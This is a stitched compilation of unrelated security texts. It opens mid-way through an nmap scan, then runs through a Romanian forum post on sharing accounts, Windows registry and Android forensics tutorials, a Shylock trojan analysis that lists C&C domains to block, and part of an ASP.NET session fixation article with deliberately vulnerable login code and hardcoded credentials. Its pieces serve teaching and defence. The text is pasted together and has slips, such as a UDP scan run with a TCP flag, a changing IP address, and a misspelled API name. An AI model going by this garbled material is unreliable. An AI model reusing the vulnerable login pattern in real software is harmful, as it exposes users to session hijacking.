(96%), Linux 2.6.5 - 2.6.12 (96%), Linux 2.6.9 - 2.6.27 (96%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Interesting ports on 192.168.100.102: Not shown: 993 filtered ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 902/tcp open iss-realsecure 912/tcp open unknown 5357/tcp open unknown 8443/tcp open https-alt MAC Address: 00:4F:6A:08:4F:44 (Unknown) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Microsoft Windows Vista|2008 OS details: Microsoft Windows Vista SP0 or SP1 or Server 2008 SP1 Network Distance: 1 hop Interesting ports on 192.168.100.200: Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind Device type: general purpose|WAP Running (JUST GUESSING) : Linux 2.6.X|2.4.X (95%), Gemtek embedded (90%), Siemens embedded (90%), Nokia Linux 2.6.X (89%) Aggressive OS guesses: Linux 2.6.17 - 2.6.28 (95%), Linux 2.6.19 - 2.6.26 (95%), Linux 2.6.22 (95%), Linux 2.6.19 - 2.6.24 (94%), Linux 2.6.22 (Ubuntu 7.10, x86_64) (94%), Linux 2.6.26 (94%), Linux 2.6.15 - 2.6.27 (92%), Linux 2.6.22 - 2.6.23 (92%), Linux 2.6.17 - 2.6.26 (92%), Linux 2.6.20-grml (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 0 hops OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 256 IP addresses (3 hosts up) scanned in 19.04 seconds (The "-T Insane" option tels nmap to do a very fast scan. This type of scan gets detected by firewalls and IDS, but since we're scanning our own local network this is ok.) Scanning 192.168.100.202 target system's UDP 5556 port: linux-box# nmap -sT -p 5556 192.168.100.202 Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-28 14:48 CET Interesting ports on 192.168.10.102: PORT STATE SERVICE 5556/tcp open unknown MAC Address: 00:4F:6A:08:4F:44 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds Scanning range of UDP ports from 130 tp 135, and TCP ports from 18 to 23 on target system 192.168.100.200: linux-box# nmap -sU -sS -p U:130-135,T:18-23 192.168.100.200 Starting Nmap 5.00 ( http://nmap.org ) at 2012-11-28 14:59 CET Interesting ports on 192.168.100.200: PORT STATE SERVICE 18/tcp closed unknown 19/tcp closed chargen 20/tcp closed ftp-data 21/tcp closed ftp 22/tcp open ssh 23/tcp closed telnet 130/udp closed cisco-fna 131/udp closed cisco-tna 132/udp closed cisco-sys 133/udp closed statsrv 134/udp closed ingres-net 135/udp closed msrpc Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds Source

@rukov daca ar fi sa se ofere pe criteri, ar trebui sa se constituie un "sistem" sa zic asa 1. Userul care vrea acel cont sa fie activ ( sa posteze chestii interesante nu offtopic gen "gg" "bv" "bun venit") 2. Sa aiba cel putin 100 posturi ( dintre care 60/70 sa fie programe, free stuff, tutoriale si alte deastea) 3. Userul sa dea PM si sa PASTREZE DOAR PENTRU EL CONTUL. ( ex: daca io.kent ii da lui "x" un cont si "y" ii da PM lu "X" sa ii dea si lui contul ca nu face nimic acesta sa nu ii dea.) 4. Userul ce primeste acel cont sa fie direct raspunzator pentru acel cont ( daca io.kent ii da lui "x" un cont si imediat se schimba parola, "x" trebuie pedepsit) Si ar mai fi destule de adaugat dar e vorba de TIMP. Da aici ar fi o problema dar totusi daca se schimba in 5 minute parola nu are cum sa fie detinatorul...

Introduction Computer Forensics is the methodical series of procedures and techniques used for procuring evidence from computer systems and storage media. This evidence can then be analyzed for relevant information that is to be presented in a court of law. Computer Forensics has frequently been listed as one of the most intriguing computer professions, however beginners may find themselves overwhelmed quickly, as practical step-by-step procedures on this subject may be hard to come by. This paper seeks to address IT professionals who are interested in Computer Forensics Investigations. However, registry hives explored in this case study hold a plethora of information that would be of use to everyone. To keep things interesting and practical, we will be simulating a ‘real-life’ scenario where you will assume the role of a forensics investigator and attempt to locate incriminating digital evidence in the disk. While doing so, here is what you will learn: How to obtain and replicate evidence disks (Acquire) How to verify the integrity of the evidence media (Authenticate) How to search for relevant information in the evidence disk (Analyze) How to explore the Windows registry hive structure and why it holds relevance to Computer Forensics Investigations Scenario: A complaint was made to the authorities describing alleged Wi-Fi hacking activity. When the authorities arrived on the spot, they found a Dell laptop and an Alfa Card (wireless USB adapter) abandoned in the vicinity. Witnesses recall seeing a person with such equipment lingering in the vicinity of Wi-Fi access point. This abandoned equipment is seized as possible evidence. Role: Computer Forensics Investigator Purpose: Locate inculpatory or exculpatory evidence in the disk so that it may be presented in a court of law. Evidence Disk: The seized Dell laptop disk can be downloaded here: part1 and part2. A ‘dd’ copy can be downloaded here: 1, 2, 3, 4, 5, 6, 7, 8 Tools used: The tool we have chosen for the purposes of this investigation is Paraben’s ‘P2 Commander’, however you are free to use other tools of your choosing (‘EnCase’, ‘FTK’, ‘Prodiscover’, etc). Get a demonstration copy of Paraben’s P2 Commander here. Tasks performed: During the course of investigation, analysis of the evidence would require performing the 12 basic tasks of computer forensics: Generating an image hash and confirming the integrity of the image Determining the Operating System used on the disk Determining the date of OS installation Determining the registered owner, account name in use and the last recorded shut down date and time Determining the account name of the user who mostly used the computer and the user who last logged into it Determining the hacker handle of the user and tying the actual name of the user to his hacker handle Determining the MAC and last allocated IP address of this computer Locating the programs installed in this computer that could have been used for hacking purposes Collecting information regarding the IRC service that was used by the owner Searching the Recycle Bin for relevant information Listing the Newsgroups that the owner of the computer has registered to Determining the SMTP email address in use Obtaining and replicating evidence disks As a forensics investigator, when you arrive at the crime scene, it is your foremost responsibility to acquire evidence without contamination. In the case of digital media, you need to ensure that the evidence disk is not corrupted in any manner. If the computer in question is turned off, seize it (and any other peripherals in the vicinity). However if the computer is turned on: Take pictures of the computer screen using a high resolution camera; if any windows are minimized, it is OK to maximize them and take pictures. For precautions, write down the contents of these windows. Often proper shutdown procedure should be used to turn off the computer but volatile (RAM) data may be lost after shutdown; if in doubt, take a senior’s advice on what procedure would be best. Take pictures of the computer screen using a high resolution camera; if any windows are minimized, it is OK to maximize them and take pictures. For precautions, write down the contents of these windows. Often proper shutdown procedure should be used to turn off the computer but volatile (RAM) data may be lost after shutdown; if in doubt, take a senior’s advice on what procedure would be best. Before starting any kind of analysis, make sure you have made at least two bit-by-bit copies of the evidence media. It is suggested that the two copies be made using different tools. If one copy fails, having another copy will be worth the effort. Hardware write-protectors may be used to ensure that the integrity of the original evidence disk is preserved at all times. Acquiring an image of the evidence disk (Acquire) To acquire an image of the disk in we will use the ‘dd’ command, in the following manner: In Linux: dd if=/dev/hda of=/home/user/Wireless_Hacking_Case.dd bs=512 conv=noerror,sync In Windows: dd.exe if=\.PhysicalDrive0 of=C:Pranshu_Case_ImagesPhysicalDrive0.img –md5sum –verifymd5 –md5out=C:Pranshu_Case_ImagesPhysicalDrive0.img.md5 Note: Here, ‘if’ refers to input file; ‘of’ refers to output file; ‘/dev/hda’ is the physical drive. Read more about the ‘dd’ command here. Investigating ‘New Case’ and ‘Adding Evidence’ in P2 Commander Click ‘New Case’ [Figure 1] Figure 1 (Enter Details of the Case) [Figure 2] Figure 2 Click ‘Add Evidence’->Choose ‘Image File’->’Auto-detect Image’ [Figure 3] Figure 3 Now load the Evidence Disk Image that you have downloaded earlier. Note: Paraben’s P2 Commander has a lot of windows where it displays relevant information about the case evidence. [Figure 4] Figure 4 Generating a hash value of the evidence media Before commencing Analysis of the evidence media, it is mandatory to ensure that integrity of evidence is preserved. So for Authentication purposes, we generate a hash value of the media. As you probably know, this hash is a one-way function that serves to detect any modifications in the data. Therefore, if even a single bit is flipped in the evidence media (corruption), the hash value would differ and the corruption would be detected. To generate a hash value using P2 Commander, follow these steps: Right click a file and click ‘Add MD5 to hash database’. [Figure 5] Figure 5 You will notice that these hashes get added to the hash database of your choosing (in this case, ‘hash.pdh’). [Figure 6] Figure 6 Matching the Acquisition Hash to the Verification Hash (Authenticate) Before commencing any future investigations or analysis, hash value should be verified. The investigator would generate a hash of the evidence media (called the Verification Hash) and match it with the Acquisition Hash. Beginning Analysis of the evidence media (Analyze) Now the investigator begins the process of locating inculpatory or exculpatory evidence in the disk. Note: Inculpatory evidence proves that the suspect is guilty of the crime while Exculpatory evidence proves that he/she is innocent of it. Note: At this point it is important to discuss: What are ‘hives’? Hives are hierarchical structures where Windows stores a wealth of information. You have probably used ‘regedit’ in Windows to do some minor Registry tweaking and have seen the 5 root keys (hives). These are: HKEY_LOCAL_MACHINE (HKLM) HKEY_CURRENT_CONFIG (HKCC) HKEY_CLASSES_ROOT (HKCR) HKEY_USERS (HKU) HKEY_CURRENT_USER (HKCU) The locations of keys and sub-keys within these hives may differ depending on the version of the Operating System in use. As we move with the ‘Analysis’ part of the investigation, the importance of these hives will become clear to you. Determining the Operating System used on the computer Although as soon as we view the files and folders on the evidence disk it becomes clear that a Windows OS was in use, we can know the exact version [Figure 7] at the following path: WINDOWS/SYSTEM32/CONFIG/SOFTWARE/MICROSOFT/WINDOWS NT/CURRENT VERSION/PRODUCT NAME Figure 7 OR C:/boot.ini Note: In P2 Commander, you would have to expand ‘config->software’ and then expand ‘$DATA’ and then ‘Registry File’. This would take you to ‘…/MICROSOFT/WINDOWS NT/CURRENT VERSION/’ [Figure 8] Figure 8 Determining the date of installation This information can be uncovered from the following path [Figure 9]: WINDOWS/SYSTEM32/CONFIG/SOFTWARE/MICROSOFT/WINDOWS NT/CURRENT VERSION/INSTALL DATE Figure 9 Determining the Registered owner of this computer This information will help us determine the actual name of the criminal (if the crime is proven). [Figure 10] It can be uncovered at the following path: WINDOWS/SYSTEM32/CONFIG/SOFTWARE/MICROSOFT/WINDOWS NT/CURRENT VERSION/REGISTERED OWNER Figure 10 Determining the default domain name This information can be uncovered at the following path [Figure 11]: WINDOWS/SYSREM32/CONFIG/SOFTWARE/MICROSOFT/WINDOWS NT/CURRENT VERSION/WINLOGON/DEFAULT DOMAIN NAME Figure 11 Determining the default user name This information would help us determine the username that is used to log into this computer. It can be located at the following path [Figure 12]: WINDOWS/SYSTEM32/CONFIG/SOFTWARE/MICROSOFT/WINDOWS NT/CURRENT VERSION/WINLOGON/DEFAULT USER NAME Figure 12 Determining the time and date of when the computer was last shutdown This information can be uncovered at the following path [Figure 13]: WINDOWS/SYSTEM32/CONFIG/SOFTWARE/MICROSOFT/WINDOWS NT/CURRENT VERSION/PREFETCHER/EXIT TIME Figure 13 Determining the total number of accounts present on this computer A total of 5 accounts were found [Figure 14]. This information can be found in the SAM file: SAMSAMDomainsAccountUsersNames Figure 14 However, 4 of them are default Windows accounts and were never used. The one account mainly used, was that of ‘Mr. Evil’. This information is suggested by the sub-keys found under ‘Users’ at the following path: SAMSAMDomainsAccountUsers Determining the last user who logged onto this computer The system will obtain the last user who logged on from the key ‘DefaultUserName’. This information can be uncovered from the following path [Figure 12]: WINDOWS/SYSTEM32/CONFIG/SOFTWARE/MICROSOFT/WINDOWS NT/CURRENT VERSION/WINLOGON/DEFAULT USER NAME Tying the Hacker’s ‘Handle’ to his real name We have seen above that the owner of this computer is ‘Greg Schardt’ and his username is ‘Mr. Evil’. Now to prove that Greg Schardt is Mr. Evil, we need to perform extensive searches for files that may provide the needed evidence. In this case, we found the following file to be of aid: C:Program FilesLook@LANirunin.ini Figure 15 This file would help tie Greg Schardt to his hacker handle of ‘Mr. Evil’. [Figure 15] Determining the network card that was used on this computer This information can be uncovered from the following path: WINDOWS/SYSTEM32/CONFIG/SOFTWARE/NTREGISTRY/MICROSOFT/ WINDOWS NT/CURRENT VERSION/NETWORKCARDS/11/DESCRIPTION And WINDOWS/SYSTEM32/CONFIG/SOFTWARE/NTREGISTRY/MICROSOFT/ WINDOWS NT/CURRENT VERSION /NETWORKCARDS/2/DESCRIPTION Figure 16 Hence the network card used was ‘Compaq WL110·Wireless ·LAN PC·Card·’ (Xircom ·CardBus·Ethernet·100 +Modem56(Ethernet Interface)·). [Figure 16] Determining the physical and logical addresses used by the computer (MAC address and IP address) This information can be uncovered at the following path: C:Program FilesLook@LANirunin.ini Figure 17 This file tells us that IP address was 192.168.1.111 and the MAC address is 0010a4933e09 [Figure 17] Searching for programs/tools that aided in the crime (Wireless Hacking) This evidence can be uncovered from many locations. For example, the registry path: WINDOWS/SYSTEM32/CONFIG/SOFTWARE/MICROSOFT/WINDOWS/CURRENT VERSION/UNINSTALL [Figure 18] Figure 18 This path shows a variety of hacking tools installed on the computer. Also see the ‘My Documents’ folder and notice the presence of several hacking tools and password cracking dictionaries. [Figure 19] Figure 19 Also note that the ‘Desktop’ folder has links to several hacking tools. Following are some of hacking tools that were found on the computer: Cain & Abel v2.5 beta45 (password sniffer & cracker) Ethereal (packet sniffer) 123 Write All Stored Passwords (finds passwords in registry) Anonymizer (hides IP tracks when browsing) Look&LAN_1.0 (network discovery tool) NetStumbler (wireless access point discovery tool) Determining the SMTP Email Address that was used on this computer The email address used was whoknowsme@sbcglobal.net [Figure 20] and this information can be located at: C:/PROGRAM FILES/AGENT/DATA/AGENT.INI Figure 20 Note that the saved SMTP password is also recovered, this can be used for further investigation of the SMTP email account. Determining the newsgroups that the computer’s user has subscribed to This information can be uncovered from the following path: DOCUMENT AND SETTINGS/MR EVIL/LOCAL SETTINGS/APPLICATION DATA/IDENTITIES/MICROSOFT/OUTLOOK EXPRESS Figure 21 The user has subscribed to several ‘hacking’ newsgroups as can be seen from the evidence. [Figure 21] Recovering chat related information from the IRC program (MIRC) The following path would reveal IRC related information like the username, nickname, email, host etc [Figure 22]: C:/PROGRAM FILES/MIRC/MIRC.INI Figure 22 Furthermore, MIRC logs chat sessions at the following location: C:/PROGRAM FILES/mIRC/LOGS Figure 23 Again we observe a lot of hacking-related chat channels in the logs. [Figure 23] Searching for the ‘Ethereal’ packet capture file Earlier we have noticed the presence of the sniffing tool ‘Ethereal’ on this computer. Now the challenge is to locate the packet capture file. I say it is a ‘challenge’, because in this particular case, the saved packet capture file has no extension and hence proved to be incredibly hard to locate. It was eventually located at the following path [Figure 24]: C:/DOCUMENTS AND SETTINGS/MR EVIL/INTERCEPTION Figure 24 Even though this file has no extension, our first clue is the name of the file ‘interception’. Further analysis of the file revealed that it is in fact the file used to save the packets captured. Note: Remember that this file is where the captured packets were saved. Packets captured from whom? Packets captured from the victim’s machine. Therefore, it reveals the websites that the victim was visiting at the time of sniffing. Recovering information from the Recycle Bin The Recycle Bin can be a useful location for the purpose of forensics investigations, since the evidence the hacker would want to get rid of would probably end up here (though experienced hackers would ‘shred’ the evidence rather than simply deleting). C:/RECYCLER Figure 25 Six deleted files were found in the Recycle Bin, some of these are hacking tools. [Figure 25] Determining the files that were actually reported as lost (deleted) by the file system The files that were found in the Recycle Bin were not actually deleted. They were just moved there. To determine the files that are actually deleted, go to the following location: C:/WINDOWS/SYSTEM32/WBEM/REPOSITORY/FS/ In P2 Commander, you can notice a ‘crossed out’ icon in front of the file name, and the name itself is gray. Figure 26 This would tell you that 3 files are actually deleted [Figure 26]. Conclusion All inculpatory or exculpatory evidence must be properly marked and collected by the examiner to be presented in a court of law. The Chain of Evidence must be properly maintained if the evidence is to stand in court. In simple words this means that information about who handled the evidence, at what time, for what purpose, for what duration, etc should be maintained. When not under examination, the evidence should be kept in the Evidence locker at all times. Access to the evidence is only granted to personnel who are authorized. The reason for all of this is pretty obvious: Maintaining the integrity of the evidence at all times. This paper focused on a particular case to give you a ‘feel’ of what computer forensics investigations are like. However, it is in no way comprehensive enough to cover the variety of problems and complications faced by the investigator. The investigator may run into problems like: Limited knowledge: Forensics investigations require extensive knowledge of Operating Systems and their structure (for example, the Registry hives used to mine relevant information in this case require knowledgeable investigators who know where to look), programs, files, recovery of deleted files, etc. At certain points, an investigator may come across an unfamiliar Operating System and as a solution, may have to seek help from community experts who can tell where to look for certain information. Break in the Chain of Evidence or Evidence Corruption: This is a serious issue. If the Chain of Evidence cannot be established, the evidence becomes inadmissible. Also, without a proof of integrity, evidence is deemed corrupted. Computers Forensics is a vast field of study and includes topics like Processing Crime Scenes, Operating Systems and File Structures, Recovering Graphic Files and Defeating Steganography, Email Investigations, Mobile Device Investigations, Report Writing, Expert Testimony, etc. However, it is definitely captivating (you get to solve crimes!!) and challenging – your knowledge will be tested to the max, as each case is unique. Source

This article introduces Android forensics and the techniques used to perform Android forensic investigations. We will discuss Android file systems, data acquisition, analysis, and various tools available for Android Data Extraction. Introduction The smart phone market is growing higher and higher. With the drastic changes in technology, smart phones are becoming targets of criminals. Because of the fact that most of the people are completely addicted to the mobile devices to do our daily tasks, ranging from setting up a reminder to wish our dear ones well on special occasions, to online banking transactions, mobile devices contain a lot of sensitive data which is of an investigator’s interest. As Android is one of the leading smart phone operating systems, it it is important to have knowledge of Android forensics. Android forensics is different from regular disk forensics because of various reasons. It supports various file systems which are specific to Android. We may look for the following data on Android devices: SMS, MMS, emails, call logs, contacts, photos, calendars, notes, browser history, GPS locations, passwords, data stored on SD cards, etc. It is important to understand file systems, directory structures, and how and where the data is stored on the devices before getting into actual forensics. Android directory structure Android has got a directory structure specific to it. We can look at the directory structure of the device using “adb shell“. It is also possible to see the directory structure of the device using DDMS. The following figure shows the file system of my device “Sony Xperia E” using “adb shell“. The above figure shows many files and folders on the current device. The most important locations for a forensic analyst are /system, /data, /sdcard, /ext_card. /system: It contains operating system-specific data. As we can see in the above figure, this directory contain various sub directories to hold information about the system apps, fonts, libraries, executable etc. /data: It contains user-specific data such as data stored by an SMS application. We can see the executable files of each application installed in the “/data/app” directory. This requires root privileges, which mean a user without a rooted device cannot see the contents of this directory. The following figure shows how each installed application’s binary can be seen on the device (the output is truncated). User data resides on the “/data/data/[app package]/” directory. Due to security reasons, data in each directory cannot be accessed by other applications. /sdcard and /ext_card: In this specific case, we got sdcard for internal storage and ext_card for external storage. Usually, sdcard is given for external storage. These are used to store user data such as images, music files, videos etc. Android file systems Having basic knowledge of Android file systems is always good before diving into Android forensics. This is because Android has support for various file systems. The main partition of Android file system is often partitioned as YAFFS2 (Yet Another Flash File System). YAFFS2 is specifically designed for embedded systems such as smart phones. It provides greater efficiency and performance. To see the listing of supported file systems, we can use the following command on “adb shell“. “cat /proc/filesystems” As we can see in the above figure, we got a list of file systems supported by the device. The “nodev” entry next to the file system indicates that there is no physical device associated with that particular file system. Android supports ext2, ext3, and ext4 file systems (used by Linux systems) and the vfat file system used by Windows-based systems. Since it is targeted for mobile devices, Android supports YAFFS and YAFFS2 file systems, since it requires supporting NAND chips used in these devices. Android’s file system is divided into different partitions. In order to see the different partitions that are mounted on an Android device, we can get a shell on the device and execute the following command: “mount“. This is shown in the following figure. If we observe the above figure, there are few important file system partitions such as /system, /cache, /data using ext4 as their file system type rather than YAFFS. This is because, starting from Gingerbread, Android has replaced YAFFS file system with ext4. Data acquisition methods Data acquisition is the process of extracting data from the evidence. As we discussed earlier, data acquisition on mobile devices is not as simple as standard hard drive forensic acquisition. These data acquisition techniques are broadly divided into the following types. Manual Acquisition: The examiner utilizes the user interface of the mobile device to investigate the content. While browsing the device, the examiner takes pictures of each screen. This method does not require any tools to perform data acquisition. Apart from the advantages, the biggest disadvantage of this method is that only data visible to the users on the phone can be recovered, and obviously it is time consuming. Physical Acquisition: Similar to physical acquisition process on standard digital forensics, physical acquisition process on mobile devices creates a bit-by-bit copy of an entire file system. It creates a copy of the entire file system which contains data present on a device, including the deleted data and unallocated space. Logical Acquisition: Logical extraction acquires information from the device using the original equipment manufacturer application programming interface for synchronizing the phone’s contents with a personal computer. Most of the tools available for free perform Logical Acquisition. Logical Acquisition is the process of extracting data that is accessible to the users of the device and hence it cannot acquire deleted data or the data in unallocated space. The above statement has limitations in some cases. Imaging an SD card with FTK Imager FTK Imager can be downloaded from the following link. Product Download | AccessData It is important to get a bit by bit copy of the phone’s SD card, since it can be used as a valuable data treasure during investigations. As a best practice, we need to use a write blocker to maintain integrity of the evidence. SD cards generally are of the FAT32 file system. So, we can use traditional imaging tools and acquire the image of the SD card. In this section, we are going to use a popular tool known as FTK Imager to get the image of the SD card. Here are the steps: Safely remove the SD card from the mobile device and connect it to the workstation using a card reader. Launch FTK Imager tool. This appears as shown in the figure below. 3.Now, navigate to “File” and click “Create Disk Image” as shown below. The above step opens a new window to select the type of acquisition. Since we are trying to create an image of the complete SD card, I have chosen “Physical Drive”. It opens a new window to select the Physical Drive as shown below. I have chosen “PHYSICALDRIVE 2? of 1GB which in our case is the SD card. After selecting the appropriate option, click finish. It displays another window where we can add the destination as well as type of image to be created. Upon clicking “Add” button, it opens a new window to select the destination image type. In our case, we choose “Raw” which gives a “dd” image. Unlike other image formats like “E01?, “dd” image will not store its metadata in the image. Upon clicking next, it shows another window where FTK Imager requests for Evidence Item Information. We can fill in the appropriate details and click “next” or skip it if we are doing it as a trail. As we can see in the above figure, we have provided the destination path and name of the output file. Finally, click finish to start imaging. Click “start” to begin the process. After finishing the process, FTK Imager displays a new window where it shows hash verification results. This is shown in the figure below. Now, the created image can be further analyzed using traditional forensic analysis tools. Imaging Android file system: In this section, we will see how to perform data acquisition of Android file system partitions. Note: in order to follow the below process, the device must be rooted. We will use the popular “dd” tool to do our job. “dd” is present in Android by default in “/system/bin” location. This is shown in the following figure. Now, let’s look at the partition locations of our interest using the mount command. Following is the entry associated with “/data” partition from the above output. /dev/block/platform/msm_sdcc.3/by-num/p16 /data ext4 rw,nosuid,nodev,relatime,noauto_da_alloc,data=ordered 0 0 So, let’s use the following command to extract this particular partition using “dd“. dd if=/dev/block/platform/msm_sdcc.3/by-num/p16 of=/mnt/sdcard/output.img The above command is explained below. if = input file of = output file to be created output.img = name of the output image to be created. We can even specify the block size using the option “bs” in dd. After finishing the above process, we can pull this file out using tools like Droid Explorer. We can even do it using the adb pull command. The below screenshot shows the command to pull the image onto our workstation using the adb pull command. Now, we can use this image to do our further analysis on the device. References: Mobile device forensics - Wikipedia, the free encyclopedia Android File Systems - eLinux.org Source

Malware analysis is not a new topic for security analysts, and all engineers are pretty aware of the process and procedures that need to be followed, which are neatly explained in other articles. I would like to showcase the process by citing an example of the Shylock Trojan. The Shylock Trojan is a banking malware that exhibits rootkit characteristics. It leaves very few artifacts on the filesystem and is completely memory resident. The Shylock Trojan is engineered to collect financial information from its victims, this can include passwords for banking accounts, pin codes etc. This sensitive information is relayed back to the malware authors. The malware makes use of several C&C servers in order to achieve this. Shylocks main mode of attack is through Man in the Browser (MiTM) attacks. In such attacks, the malware waits in the memory for the correct time and injects its payload into the web browser. Shylock affects Internet Explorer and the Mozilla Firefox browser. Now, whenever a user browses the Web, the Trojan can inject malicious code into the user’s traffic and also see everything that the user does on the web. The malware has several additional features such as a built-in VNC server to remotely control the victim’s computer. The malware is spread through exploited web pages or through Skype. Shylock employs several evasive techniques to hide its presence in the system, making it very difficult to detect. It does not make any visible filesystem changes and cannot be easily detected through conventional security measures such as Anti-Virus solutions, making it a very high risk incident. A sample Shylock Trojan is available at kernelmode.info and I recommend readers to download the Shylock Trojan in a virtualised environment for analysis. Analysis The first step in our analysis process is to make sure the malware we downloaded won’t spread to the adjacent machines. Then the suspected file is first loaded into our custom Cuckoo Sandbox. The Sandbox executes the malware and attempts to identify it and provide some basic information about it. As shown in the above screenshots, the malware has been identified by Cuckoo as the Shylock/Caphaw Trojan. After the automated analysis, next will begin a static analysis process. This is done in a virtual environment. Before executing the Trojan, some anomalies in the file were noticed. The file’s description depicts quotes from Shakespeare’s play “The Merchant of Venice”. The Trojan is called Shylock because Shylock is a character in the Merchant of Venice and because there are many references to Shylock within the code itself. The program itself is written in C++ and encrypted using a crypter tool. The File description features quotes from Shakespeare’s “Merchant of Venice” We then begin to analyze the PE header of the file with our tools this gives us some useful information such as the time of file creation the original filename etc. The file PE Header shows that the file was created on 11/11/2010 It can also be found that malware has used a fake self-signed certificate to fool AV scanners and other security mechanisms. As shown in the screenshot, the certificate is clearly fake and contains yet another reference to the Merchant of Venice. The fake certificate features more quotes from the “Merchant of Venice” We then begin our dynamic analysis by actually executing the file within our virtual malware lab. We run HBGary’s Flypaper to prevent the malware from immediately injecting itself into the memory. Process Explorer shows the malware executing before it is injected into memory After the file is executed, it immediately injects itself into several Windows processes, namely explorer.exe, iexplore.exe and firefox.exe if present. In order to analyze the memory for these processes, we first take a memory dump of the system and store it for further analysis in our memory analysis tools volatility. Next, Wireshark is used to monitor any suspicious traffic that may be leaving our malware lab, a packet capture is taken and analyzed. We noticed suspicious DNS traffic to several domains: extensadv.cc brainshpere.cc topbeat.cc DNS traffic to suspicious domains generated by the Shylock Trojan Using volatility our team first looked for artifacts in the memory that indicate the presence of the Shylock Trojan. These are called mutexes. Shylock leaves mutexes that begin with MTX and are followed by a random stream of hexadecimal digits. We continue our analysis with volatility to look for injected code in the suspected processes such as explorer.exe Malfind command dumps malicious code in normal processes The above command output shows that the explorer process has a MZ header i.e. the explorer process has another executable running within its process space. The Vad Tag VadS also signifies the presence of injected code in the process. We use volatility to take a dump of the above executable. On studying the dumps with a Hex editor we notice some interesting things in the code. The dump is actually a dll file that contains information about hooking several Windows API calls and also about a VNC module. Windows API hooks featured in dump VNC module functionality and more Windows API hooks The above information leads us to look for Windows API hooks in the memory. We use volatility with the apihooks command to dump information about malicious hooks in memory. Trampoline hook for function HttpOpenRequestA In process iexplore.exe The screenshots above show that the malware hooks into several Windows API calls, for example HttpRequestA is used to open HTTP connections to the Web servers hooking. This can give the malware the ability to inject malicious code into HTTP traffic. Shylock hooks the InitiateSystemShutdownExW function to persist in the system even after system reboot. The malware is simply reloaded into memory after the system has been restarted. Hook in InitiateSystemShutdownExW function Recommendations Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have fewer avenues of attack. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Block all VNC traffic leaving your network, as the malware may attempt to remotely control the infected system. Ensure that your systems are up to date with the latest available patches, particularly Internet Explorer and the Firefox browser if present. Isolate the compromised system immediately if malware is found to be present. Block traffic to the following domains in your perimeter devices such as Firewalls and IDS/IPS solutions: brainshpere.cc topbeat.cc extensadv.cc Eradication Use tdskiller, a tool developed by Kaspersky to find and delete the Shylock rootkit Rootkit revealer is a tool developed by Mark Russinovich to find and eradicate memory rootkits. It is part of the Sysinternals suite of tools. Norton Power Eraser can be used. GMER is another tool used specifically for removing rootkits. References Endpoint, Cloud, Mobile & Virtual Security Solutions | Symantec KernelMode.info • Index page Source

Improper handling of session variables in asp.NET websites is considered a serious threat and opens various doors to malicious hackers. For instance, a session variable could be manipulated in a way to subvert login authentication mechanisms. However, this article illustrates a session fixation bug in a .NET website by demonstrating various live scenarios which usually leads to a website becoming vulnerable, in terms of session hijacking. Moreover, the article circulates detailed information about exploiting vulnerable websites, as well as recommendations of practices for protecting them against session fixation attacks. Internal Session Fixation A session fixation attack allows spoofing another valid user and working on behalf of their credentials. It typically fixates another person’s session identifier to breach currently happening communication. The asp.NET base website usually keeps session variables to track the user by creating a cookie called asp.NET_SessionId in the browser. A session variable is typically used to record a currently logged-in user, and such a cookie value is validated on each round-trip to ensure that the data being served is specific to that user. Here the following image is describing the process of cookies-based authentication, where the user performs the login operation to a vulnerable website, and in return, the server issues this particular user a cookie token value for session management. Figure: 1.1 Websites usually engage session management to construct a user-friendly environment. But this mechanism is vulnerable to some extent, because session IDs present an attractive target for attackers, as they are stored on a server and associated with respective users by unique session identifier values. There are a couple of approaches applied by the attacker to perform a session fixation attack, depending on the session ID transport mechanism (cookies, hidden fields, and URL arguments) and the loopholes identified on the target system. The mechanics of session management is that the server generates a unique session identifier value during user authentication, and sends this session ID back to the client browser and makes sure that this same ID will be sent back by the browser along with each forthcoming request. Hence, such a unique session ID value thereby becomes an identification token for users, and servers can use them to maintain session data. Figure: 1.2 An asp.NET_SessionID cookie is only configured by the server whenever working on behalf of any page request of the website. So when the login page is first accessed, the asp.NET_SessionID cookie value is set by the client browser and server uses this cookie value for all subsequent requests. Even after authentication is successful and logged out, the asp.NET_SessionID value does not change. This results in the possibility of a session fixation attack, where a hacker can potentially sniff the traffic across the wire or physically access the victim machine in order to get the stored cookie values in the browser and fix a victim’s session by accessing the login page, even if they don’t have the actual user name or password. The following image shows the real time session fixation attack scenario where a potential hacker sits somewhere in the network and intercepts the traffic happening between a server and client. Here, the hacker employs a packet sniffer to capture a valid token session and then utilizes the valid token session to gain unauthorized access to the web server. Finally, the hacker successfully accesses the asp.NET_SessionID value and logs in successfully to the website’s sensitive zone. Figure: 1.3 Vulnerable Code Scenario Session fixation bugs usually occur on websites which manipulate sensitive data while transacting or incorporating with the login page to authenticate valid users with correct user name and password. This paper illustrates this crucial bug in detail by presenting this vulnerable login authentication code as follows: if (txtUsr.Text.Equals("frank") && txtPwd.Text.Equals("password")) { Session["LIn"] = txtU.Text.Trim(); Server.Transfer("<a title="Home" href="http://resources.infosecinstitute.com/">Home</a>.aspx"); } else { lblMessage.Text = "Wrong username or password"; } When a user browses this website and enters the valid credentials for authentication, the internal mechanism flashes the server message that either the user name and password are correct or incorrect as follows: Figure: 1.4 The user typically assumes that this transaction is safe and there are fewer possibilities of other website-related attacks, but still, a couple of serious attacks such as spoofing, replay and session hijacking attacks could be possible, even if managing the user name and password correctly. We shall see this in a forthcoming segment 